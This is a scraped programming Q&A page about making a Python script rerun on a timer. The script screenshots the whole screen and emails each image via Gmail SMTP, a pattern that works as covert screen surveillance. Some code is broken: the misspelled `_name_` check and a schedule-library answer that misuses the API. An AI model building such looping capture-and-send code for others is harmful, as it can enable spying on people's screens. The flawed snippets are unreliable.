Home > other >  How do i rerun a python script after it has finished
How do i rerun a python script after it has finished

Time:04-29

I'm trying to rerun my script after it has finished running preferably after 30 seconds i have tried some methods but can't find out how to continue with my code

my code:

import os.path
import os
import sys
import smtplib
import time

from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

from PIL import ImageGrab



def enviar_email():
    email = 'x.com'
    password = 'x'
    subject = 'This is the subject'
    message = 'This is my message'
    file_location = 'ss1.jpg'

    msg = MIMEMultipart()
    msg['x'] = email #sender
    msg['x'] = email #receiver
    msg['Subject'] = subject

    msg.attach(MIMEText(message, 'plain'))

    # Setup the attachment
    filename = os.path.basename(file_location)
    attachment = open(file_location, "rb").read()
    image = MIMEImage(attachment, name=filename)
    msg.attach(image)


    # Attach the attachment to the MIMEMultipart object
    # msg.attach(part)


    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(email, password)
    text = msg.as_string()
    server.sendmail(email, email, text)
    server.quit()

def main():
    imagem = ImageGrab.grab()
    imagem.save('ss1.jpg', 'jpeg')
    enviar_email()
    print("Taking screenshot...")



if _name_ == '_main_':
    main()
    time.sleep(10)
    os.execl(sys.executable, sys.executable, *sys.argv)

i tried adding:

time.sleep(10)
    os.execl(sys.executable, sys.executable, *sys.argv)

but the script did not restart any advice how i can make it so that it restarts the script ?

CodePudding user response:

Use the while loop :

if __name__=='__main__':
    
    while True:
         do_something()

You can even pair it with a try/except block like this :

if __name__=='__main__':
     while True:
           try:
              do_something()
           except:
              print('Error Occured in running the script, Rerunning...')

This will prevent the script from abruptly stopping in case of an error.

For re running the script a specific number of times, you can define a count variable and break it when it matches a value, like this:

if __name__=='__main__':
    count=0
    no_of_runs=5
    while True:
          try:
              if count==no_of_runs:
                 break
              else:
                 do_something()
                 count =1
          except:
              print('Error occured, Rerunning...')
              pass

CodePudding user response:

You can call main() function again after time.sleep(10). Try this:

if _name_ == '_main_':
    main()
    time.sleep(10)
    main()

CodePudding user response:

You can use schedule library for this purpose.

#!pip install schedule
import schedule
import time

while True:
    # Checks whether a scheduled task
    # is pending to run or not
    schedule.your_function()
    time.sleep(1) 
  • Related